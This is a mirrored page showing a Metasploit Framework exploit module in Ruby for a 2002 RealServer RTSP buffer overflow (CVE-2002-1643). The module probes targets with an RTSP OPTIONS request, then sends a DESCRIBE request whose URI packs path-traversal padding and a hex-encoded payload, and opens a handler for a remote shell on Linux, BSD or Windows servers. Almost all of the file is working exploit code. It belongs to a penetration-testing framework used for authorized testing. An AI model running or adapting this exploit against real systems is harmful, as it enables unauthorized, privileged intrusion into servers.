Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/realserver/describe.rb
32769 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'RealServer Describe Buffer Overflow',
16
'Description' => %q{
17
This module exploits a buffer overflow in RealServer 7/8/9
18
and was based on Johnny Cyberpunk's THCrealbad exploit. This
19
code should reliably exploit Linux, BSD, and Windows-based
20
servers.
21
},
22
'Author' => 'hdm',
23
'References' => [
24
[ 'CVE', '2002-1643' ],
25
[ 'OSVDB', '4468']
26
],
27
'Privileged' => true,
28
'Payload' => {
29
'Space' => 2000,
30
'BadChars' => "\x00\x0a\x0d\x25\x2e\x2f\x5c\xff\x20\x3a\x26\x3f\x2e\x3d"
31
},
32
'Targets' => [
33
[
34
'Universal',
35
{
36
'Platform' => %w[bsd linux win]
37
},
38
],
39
],
40
'DisclosureDate' => '2002-12-20',
41
'DefaultTarget' => 0,
42
'Notes' => {
43
'Reliability' => UNKNOWN_RELIABILITY,
44
'Stability' => UNKNOWN_STABILITY,
45
'SideEffects' => UNKNOWN_SIDE_EFFECTS
46
}
47
)
48
)
49
end
50
51
def check
52
res = send_request_raw(
53
{
54
'method' => 'OPTIONS',
55
'proto' => 'RTSP',
56
'version' => '1.0',
57
'uri' => '/'
58
}, 5
59
)
60
61
http_fingerprint({ response: res }) # check method / Custom server check
62
if res and res['Server']
63
vprint_status("Found RTSP: #{res['Server']}")
64
return Exploit::CheckCode::Detected
65
end
66
Exploit::CheckCode::Safe
67
end
68
69
def exploit
70
print_status("RealServer universal exploit launched against #{rhost}")
71
print_status('Kill the master rmserver pid to prevent shell disconnect')
72
73
encoded = Rex::Text.to_hex(payload.encoded, '%')
74
75
send_request_raw({
76
'method' => 'DESCRIBE',
77
'proto' => 'RTSP',
78
'version' => '1.0',
79
'uri' => '/' + ('../' * 560) + "\xcc\xcc\x90\x90" + encoded + '.smi'
80
}, 5)
81
82
handler
83
end
84
end
85
86